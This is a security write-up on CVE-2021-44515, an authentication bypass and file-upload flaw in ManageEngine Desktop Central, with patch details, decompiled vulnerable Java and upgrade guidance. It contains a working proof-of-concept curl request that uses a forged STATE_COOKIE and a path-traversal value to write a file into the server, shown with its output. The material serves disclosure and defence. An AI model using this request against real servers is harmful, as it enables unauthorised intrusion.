Attacker Value
Very High
(1 user assessed)
Exploitability
High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
1

CVE-2021-44515

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Defense Evasion
Techniques
Validation
Validated
Validated

Description

Zoho ManageEngine Desktop Central is vulnerable to authentication bypass, leading to remote code execution on the server, as exploited in the wild in December 2021. For Enterprise builds 10.1.2127.17 and earlier, upgrade to 10.1.2127.18. For Enterprise builds 10.1.2128.0 through 10.1.2137.2, upgrade to 10.1.2137.3. For MSP builds 10.1.2127.17 and earlier, upgrade to 10.1.2127.18. For MSP builds 10.1.2128.0 through 10.1.2137.2, upgrade to 10.1.2137.3.

General Information

Technical Analysis

Description

On December 3, 2021, Zoho published a vulnerability notification for CVE-2021-44515, an authentication bypass and potential remote code execution (RCE) vulnerability in its ManageEngine Desktop Central and Desktop Central MSP products.

On December 17, 2021, the FBI published a flash alert for CVE-2021-44515, including technical details and indicators of compromise (IOCs). According to the FBI, APT actors have been exploiting the vulnerability since at least late October 2021. Rapid7 recommends patching any and all instances of Desktop Central on an emergency basis.

Affected products

ManageEngine Desktop Central:

  • Builds 10.1.2127.17 and below
  • Builds 10.1.2128.0 to 10.1.2137.2

ManageEngine Desktop Central MSP:

  • Builds 10.1.2127.17 and below
  • Builds 10.1.2128.0 to 10.1.2137.2

Technical analysis

Please see the FBI’s flash alert for more information.

Patch

(The following code is from webapps/DesktopCentral/WEB-INF/web.xml.)

/STATE_ID/* is now in a “secured” context:

 <security-constraint>
 <web-resource-collection>
     <web-resource-name>Secured Core Context</web-resource-name>
     <url-pattern>*.do</url-pattern>
     <url-pattern>*.cc</url-pattern>
     <url-pattern>*.ama</url-pattern>
     <url-pattern>*.ve</url-pattern>
     <url-pattern>*.pdf</url-pattern>
     <url-pattern>*.xlsx</url-pattern>
     <url-pattern>*.xls</url-pattern>
     <url-pattern>*.json</url-pattern>
     <url-pattern>*.csv</url-pattern>
     <url-pattern>/view/*</url-pattern>
     <url-pattern>/verticalTabJson</url-pattern>
     <url-pattern>/getCustomFilterModel</url-pattern>
     <url-pattern>/remotefilemanager</url-pattern>
     <url-pattern>*.ma</url-pattern>
     <url-pattern>*.ema</url-pattern>
     <url-pattern>*.jsp</url-pattern>
     <url-pattern>/webclient</url-pattern>
     <url-pattern>/integrations</url-pattern>
     <!--<url-pattern>/dcpclient</url-pattern>
     <url-pattern>/blmclient</url-pattern>
     <url-pattern>/appctrlclient</url-pattern>-->
     <url-pattern>/APIExplorerServlet</url-pattern>
                <url-pattern>/configurations</url-pattern>
                <url-pattern>/logout</url-pattern>
                <url-pattern>/changeDefaultAmazonPassword</url-pattern>
     <url-pattern>/customColumnFiles/*</url-pattern>
     <url-pattern>/images/user_profile/*</url-pattern>
     <url-pattern>/images/user_full_profile/*</url-pattern>
     <url-pattern>/getCustomFilterModel</url-pattern>
     <url-pattern>*.ama</url-pattern>
     <url-pattern>*.chart</url-pattern>
     <url-pattern>/CPUUsageDetector</url-pattern>
     <url-pattern>/generatePDF/*</url-pattern>
     <url-pattern>/mdmclient</url-pattern>
+     <url-pattern>/STATE_ID/*</url-pattern>
 </web-resource-collection>

Auth bypass

/STATE_ID/* is filtered by com.adventnet.client.view.web.StateFilter:

<filter>
<filter-name>StateFilter</filter-name>
<filter-class>com.adventnet.client.view.web.StateFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>StateFilter</filter-name>
<url-pattern>/STATE_ID/*</url-pattern>
</filter-mapping>

(The following code is from com.adventnet.client.view.web.StateFilter in lib/AdventNetClientFramework.jar.)

doFilter() calls StateParserGenerator.processState():

    public void doFilter(final ServletRequest request, final ServletResponse response, final FilterChain chain) throws IOException, ServletException {

        try {
            final Long startTime = new Long(System.currentTimeMillis());
            request.setAttribute("TIME_TO_LOAD_START_TIME", (Object)startTime);
            StateFilter.logger.log(Level.FINEST, "doFilter called for {0} ", ((HttpServletRequest)request).getRequestURI());
            StateParserGenerator.processState((HttpServletRequest)request, (HttpServletResponse)response);
            final String forwardPath = ((HttpServletRequest)request).getRequestURI();
            if (!WebClientUtil.isRestful((HttpServletRequest)request) || forwardPath.indexOf("STATE_ID") != -1) {

                final String path = this.getForwardPath((HttpServletRequest)request);
                final RequestDispatcher rd = request.getRequestDispatcher(path);
                rd.forward(request, response);

            }
            else {
                chain.doFilter(request, response);
            }
            StateFilter.logger.log(Level.FINEST, "end of doFilter for {0} ", ((HttpServletRequest)request).getRequestURI());

        }
        catch (RuntimeException ex) {
            throw ex;

        }
        catch (IOException ex2) {
            throw ex2;

        }
        catch (Exception ex3) {
            throw new ServletException((Throwable)ex3);

        }
        finally {
            StateAPI.clearStateForThread();

        }

    }

(The following code is from com.adventnet.client.view.web.StateParserGenerator in lib/AdventNetClientFramework.jar.)

processState() calls parseState():

    public static void processState(final HttpServletRequest request, final HttpServletResponse response) throws Exception {








        if (StateAPI.prevStateDataRef.get() != null) {

            return;
        }
        final Cookie[] cookiesList = request.getCookies();
        if (cookiesList == null) {

            throw new ClientException(2, null);

        }

        final TreeSet set = new TreeSet(new StateUtils.CookieComparator());
        String contextPath = request.getContextPath();
        contextPath = ((contextPath == null || contextPath.trim().length() == 0) ? "/" : contextPath);

        String sessionIdName = request.getServletContext().getSessionCookieConfig().getName();
        sessionIdName = ((sessionIdName != null) ? sessionIdName : "JSESSIONID");

        for (int i = 0; i < cookiesList.length; ++i) {








            final Cookie cookie = cookiesList[i];
            final String cookieName = cookie.getName();
            final String cVal = cookie.getValue();
            String comment = cookie.getComment();
            String domain = cookie.getDomain();
            final int cAge = cookie.getMaxAge();
            final int cVersion = cookie.getVersion();

            final String cNameValue = cookieName + "=" + cVal;
            final String maxAge = (cAge == -1) ? "" : ("; Max-Age=" + cAge);
            final String path = "; Path=/";
            final String version = "; Version=" + cVersion;
            domain = (isValid(domain) ? ("; Domain=" + domain) : "");
            comment = (isValid(comment) ? ("; Comment=" + comment) : "");
            final String secure = request.isSecure() ? "; Secure" : "";


            final String cookieString = cNameValue + maxAge + path + version + domain + comment + "; HttpOnly" + secure;

            if (cookieName.startsWith("_")) {

                cookiesList[i].setPath(contextPath);
                response.addCookie(cookiesList[i]);
            }
            else if (cookieName.startsWith("STATE_COOKIE")) {

                set.add(cookiesList[i]);
            }
            else if (cookieName.equals(StateParserGenerator.SSOID)) {

                if (cVal.equals(request.getSession().getAttribute(StateParserGenerator.SSOID))) {

                    response.addHeader("SET-COOKIE", cookieString);
                }
                StateParserGenerator.logger.log(Level.FINER, StateParserGenerator.SSOID + " cookie {0} from path {1}", new Object[] { cookiesList[i].getValue(), cookiesList[i].getPath() });
            }
            else if (cookieName.equals(sessionIdName)) {

                final String sessionid = request.getSession().getId();
                if (cookiesList[i].getValue().equals(sessionid)) {

                    final String jsessionCookieStr = sessionIdName + "=" + sessionid + "; Path=" + contextPath + "; HttpOnly" + secure;
                    response.addHeader("SET-COOKIE", jsessionCookieStr);
                }
                StateParserGenerator.logger.log(Level.FINER, sessionIdName + " cookie {0} from path {1}", new Object[] { cookiesList[i].getValue(), cookiesList[i].getPath() });

            }

        }





        if (set.size() != 0) {








            final Iterator iterator = set.iterator();
            final StringBuffer cookieValue = new StringBuffer();
            while (iterator.hasNext()) {
                final Cookie currentCookie = iterator.next();
                final String value = currentCookie.getValue();
                cookieValue.append(value);
            }
            request.setAttribute("PREVCLIENTSTATE", (Object)cookieValue.toString());
            final Map state = parseState(cookieValue.toString());
            final HashMap refIdVsId = new HashMap();
            for (final String uniqueId : state.keySet()) {



                final Map viewMap = state.get(uniqueId);
                refIdVsId.put(viewMap.get("ID") + "", uniqueId);
            }
            StateAPI.prevStateDataRef.set((state != null) ? state : StateParserGenerator.NULLOBJ);
            if (state != null) {

                if (!WebClientUtil.isRestful(request)) {

                    final long urlTime = getTimeFromUrl(request.getRequestURI());
                    final long reqTime = Long.parseLong((String)StateAPI.getRequestState("_TIME"));
                    state.get("_REQS").put("_ISBROWSERREFRESH", String.valueOf(urlTime != reqTime && !StateAPI.isSubRequest(request)));

                }
                final Map sesState = state.get("_SES");
                if (sesState != null) {

                    StateAPI.getNewStatesMap().put("_SES", sesState);

                }

            }
            if (WebClientUtil.isRestful(request)) {

                final HashMap urlstatemap = getURLStateMap(request);
                StateAPI.prevURLStateDataRef.set((urlstatemap != null) ? urlstatemap : StateParserGenerator.NULLOBJ);

            }
            savePreferences(request, state);
            StateAPI.refIdMapRef.set(refIdVsId);

            return;

        }
        request.setAttribute("STATE_MAP", StateParserGenerator.NULLOBJ);
        if (!WebClientUtil.isRestful(request)) {
            throw new ClientException(2, null);
        }
    }

parseState() parses STATE_COOKIE, which is easily spoofable:

    public static Map parseState(final String cookieValue) throws UnsupportedEncodingException {





        final HashMap map = new HashMap();

        try {

            final String decodedVal = URLDecoder.decode(cookieValue, "UTF-8");

            final String[] stateArray = getStateArray(decodedVal.getBytes("UTF-8"));

            final int length = stateArray.length;
            HashMap viewMap = null;





            boolean isNextVal = false;
            for (int count = 0; count < length; ++count) {

                final String currentValue = stateArray[count];
                if (currentValue.equals("&")) {

                    final String viewName = stateArray[++count];
                    viewMap = new HashMap();
                    map.put(viewName, viewMap);
                    viewMap.put("UNIQUE_ID", viewName);
                    isNextVal = false;
                }
                else if (currentValue.equals("/")) {

                    if (isNextVal) {

                        String key = stateArray[count - 1];
                        Object value = stateArray[++count];
                        value = URLDecoder.decode((String)value, "UTF-8");
                        if (key.endsWith("_COLL_")) {

                            key = key.substring(0, key.length() - "_COLL_".length());
                            value = StateUtils.parseAsList((String)value);
                        }
                        else if (key.endsWith("_MAP_")) {

                            key = key.substring(0, key.length() - "_MAP_".length());
                            value = StateUtils.parseAsMap((String)value);
                        }
                        viewMap.put(key, value);
                        isNextVal = false;

                    }
                    else {
                        isNextVal = true;

                    }
                }
            }
        }
        catch (Exception e) {
            e.printStackTrace();
        }
        StateParserGenerator.logger.log(Level.FINER, "The state data as a map is {0}", map);
        return map;

    }

webapps/DesktopCentral/framework/javascript/StateHandling.js was helpful in understanding the format of STATE_COOKIE:

/**
* Updates the state cookie with values from stateData array
* also updates state time and rootviewid passed as parameters
* to the state cookie
*/
function updateStateCookie(path, stateTime, rootViewId) {
  var queryStr = '';
  if (!rootViewId) {
    rootViewId = ROOT_VIEW_ID;
  }
  checkForCacheSize();
  for (var name in stateData) {
    //This check breaks the state handling, so I'm commenting that
    queryStr += '&' + name;
    for (var i in stateData[name]) {
      var val = stateData[name][i];
      if (val && (i != '_VN' || val != name)) {
        if (i == '_D_RP') {
          val = getEscapedQueryString(val);
        }
        queryStr += encodeStateAsString(i, val);
      }
    }
  }
  if (!rootViewId) {
    rootViewId = ROOT_VIEW_ID;
  }
  queryStr += '&_REQS/_RVID/' + rootViewId + '/_TIME/' + stateTime;
  if (rootViewId != ROOT_VIEW_ID) {
    queryStr += '/_ORVID/' + ROOT_VIEW_ID;
  }
  setCookieBasedOnSize(queryStr, path);
}

File upload

(The following code is from webapps/DesktopCentral/WEB-INF/web.xml.)

/agentLogUploader is implemented by com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet:

	<servlet>
		<servlet-name>AgentLogUploadServlet</servlet-name>
		<servlet-class>com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet</servlet-class>
	</servlet>

[snip]

<servlet-mapping>
<servlet-name>AgentLogUploadServlet</servlet-name>
<url-pattern>/agentLogUploader</url-pattern>
</servlet-mapping>

(The following code is from com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet in lib/AdventNetDesktopCentral.jar.)

doPost() is vulnerable to file upload and, in older (undetermined) affected versions, path traversal:

    public void doPost(final HttpServletRequest request, final HttpServletResponse response) {
        final Reader reader = null;
        PrintWriter printWriter = null;
        try {
            final String computerName = request.getParameter("computerName");
            final String domName = request.getParameter("domainName");
            final String customerIdStr = request.getParameter("customerId");
            final String resourceidStr = request.getParameter("resourceid");
            final String logType = request.getParameter("logType");
            String fileName = request.getParameter("filename");
            Long managedResourceID = null;
            final String branchId = request.getParameter("branchofficeid");

            if (computerName != null && domName != null && customerIdStr != null) {

                final Long customerID = new Long(customerIdStr);
                managedResourceID = SoMUtil.getInstance().getManagedCompResourceId(computerName, domName, customerID);

            }
            if (logType != null && logType.equalsIgnoreCase("nginx_startup_failure")) {
                final Properties meTrackProps = METrackParamManager.getMETrackParams("DS_Nginx_Startup_Failure");
                if (meTrackProps == null || meTrackProps.isEmpty()) {

                    METrackParamManager.addOrUpdateMETrackParams("DS_Nginx_Startup_Failure", "1");
                }
                else {
                    METrackParamManager.incrementMETrackParams("DS_Nginx_Startup_Failure");

                }
            }
            printWriter = response.getWriter();

            if (managedResourceID != null || branchId != null) {

                final String baseDir = System.getProperty("server.home");
                String wanDir = "agent-logs";
                if (branchId != null) {
                    wanDir = "ds-logs";
                }
                final String localDirToStore = baseDir + File.separator + wanDir + File.separator + customerIdStr + File.separator + domName + File.separator + computerName;
                final File file = new File(localDirToStore);
                if (!file.exists()) {
                    file.mkdirs();
                }
                this.logger.log(Level.WARNING, "absolute Dir {0} ", new Object[] { localDirToStore });





                fileName = fileName.toLowerCase();

                if (fileName != null && FileUploadUtil.hasVulnerabilityInFileName(fileName, "zip|7z|gz")) {
                    this.logger.log(Level.WARNING, "AgentLogUploadServlet : Going to reject the file upload {0}", fileName);
                    response.sendError(403, "Request Refused");
                    return;

                }
                final String absoluteFileName = localDirToStore + File.separator + fileName;

                this.logger.log(Level.WARNING, "absolute File Name {0} ", new Object[] { fileName });


                InputStream in = null;
                FileOutputStream fout = null;
                try {
                    in = (InputStream)request.getInputStream();
                    fout = new FileOutputStream(absoluteFileName);

                    final byte[] bytes = new byte[10000];
                    int i;                      while ((i = in.read(bytes)) != -1) {
                        fout.write(bytes, 0, i);
                    }
                    fout.flush();
                }                  catch (Exception e1) {
                    e1.printStackTrace();
                }                  finally {
                    if (fout != null) {
                        fout.close();
                    }
                    if (in != null) {
                        in.close();
                    }
                }
                if (branchId != null) {
                    DCApiFactoryProvider.getSupportFileCreationAPI().incrementDSLogUploadCount();
                    DCApiFactoryProvider.getSupportFileCreationAPI().removeDSFromList(Long.parseLong(branchId));
                }                  else {
                    DCApiFactoryProvider.getSupportFileCreationAPI().incrementAgentLogUploadCount();
                    DCApiFactoryProvider.getSupportFileCreationAPI().removeComputerFromList(domName + "\\" + computerName);
                }              }
            else {
                this.logger.log(Level.WARNING, "The agent logs are received from unmanaged computer(s) : computerName {0} , domainName {1} ", new Object[] { computerName, domName });
            }
        }
        catch (Exception e2) {
            this.logger.log(Level.WARNING, "Exception   ", e2);

            if (reader != null) {
                try {
                    reader.close();
                }                  catch (Exception ex) {
                    ex.fillInStackTrace();
                }              }          }          finally {              if (reader != null) {                  try {                      reader.close();                  }                  catch (Exception ex2) {                      ex2.fillInStackTrace();
                }
            }
        }
    }

PoC

This writes an empty file to lib/aaa.zip by exploiting the file upload and path traversal:

wvu@kharak:~$ curl -kvb "STATE_COOKIE=&_REQS/_TIME/123" "https://172.16.57.232:8383/STATE_ID/123/agentLogUploader?branchofficeid=0&customerId=1&domainName=../../&computerName=lib&filename=aaa.zip" -d ""
*   Trying 172.16.57.232:8383...
* Connected to 172.16.57.232 (172.16.57.232) port 8383 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
*  subject: C=US; ST=CA; OU=ManageEngine; O=Zoho Corporation; CN=ManageEngine
*  start date: Jan 10 18:18:14 2022 GMT
*  expire date: Jan 10 18:18:14 2023 GMT
*  issuer: C=US; ST=CA; OU=ManageEngine; O=Zoho Corporation; CN=ManageEngineCA
*  SSL certificate verify result: self signed certificate in certificate chain (19), continuing anyway.
> POST /STATE_ID/123/agentLogUploader?branchofficeid=0&customerId=1&domainName=../../&computerName=lib&filename=aaa.zip HTTP/1.1
> Host: 172.16.57.232:8383
> User-Agent: curl/7.80.0
> Accept: */*
> Cookie: STATE_COOKIE=&_REQS/_TIME/123
> Content-Length: 0
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 200
< Server: nginx
< Date: Fri, 14 Jan 2022 09:07:19 GMT
< Content-Length: 0
< Connection: keep-alive
< Set-Cookie: UEMJSESSIONID=6FE4CAD6FF279D21B9B11AD044ED93CA; Path=/; Secure; HttpOnly; SameSite=None
< X-FRAME-OPTIONS: SAMEORIGIN
< X-XSS-Protection: 1; mode=block
< Strict-Transport-Security: max-age=63072000; includeSubdomains;
< X-dc-header: yes
< X-XSS-Protection: 1; mode=block
< Referrer-Policy: same-origin
< Strict-Transport-Security: max-age=63072000; includeSubdomains;
<
* Connection #0 to host 172.16.57.232 left intact
wvu@kharak:~$

(The following output is from logs/serverout0.txt.)

The PoC mimics the IOCs published by the FBI:

[01:07:19:319]|[01-14-2022]|[com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet]|[WARNING]|[171]|[ab0dc040-f670-4546-803d-89afb194eec1]: absolute Dir ..\ds-logs\1\../../\lib |
[01:07:19:319]|[01-14-2022]|[com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet]|[WARNING]|[171]|[ab0dc040-f670-4546-803d-89afb194eec1]: absolute File Name aaa.zip |

RCE?

RCE using /agentLogUploader may require overriding a legitimate class and restarting the server. Other endpoints may be used for RCE.

Guidance

Please see the security advisory for Desktop Central.

ManageEngine Desktop Central:

  • For builds 10.1.2127.17 and below, upgrade to 10.1.2127.18
  • For builds 10.1.2128.0 to 10.1.2137.2, upgrade to 10.1.2137.3

ManageEngine Desktop Central MSP:

  • For builds 10.1.2127.17 and below, upgrade to 10.1.2127.18
  • For builds 10.1.2128.0 to 10.1.2137.2, upgrade to 10.1.2137.3

Zoho has also provided an “exploit detection tool” to detect certain IOCs. It is linked in the advisory above.

Resources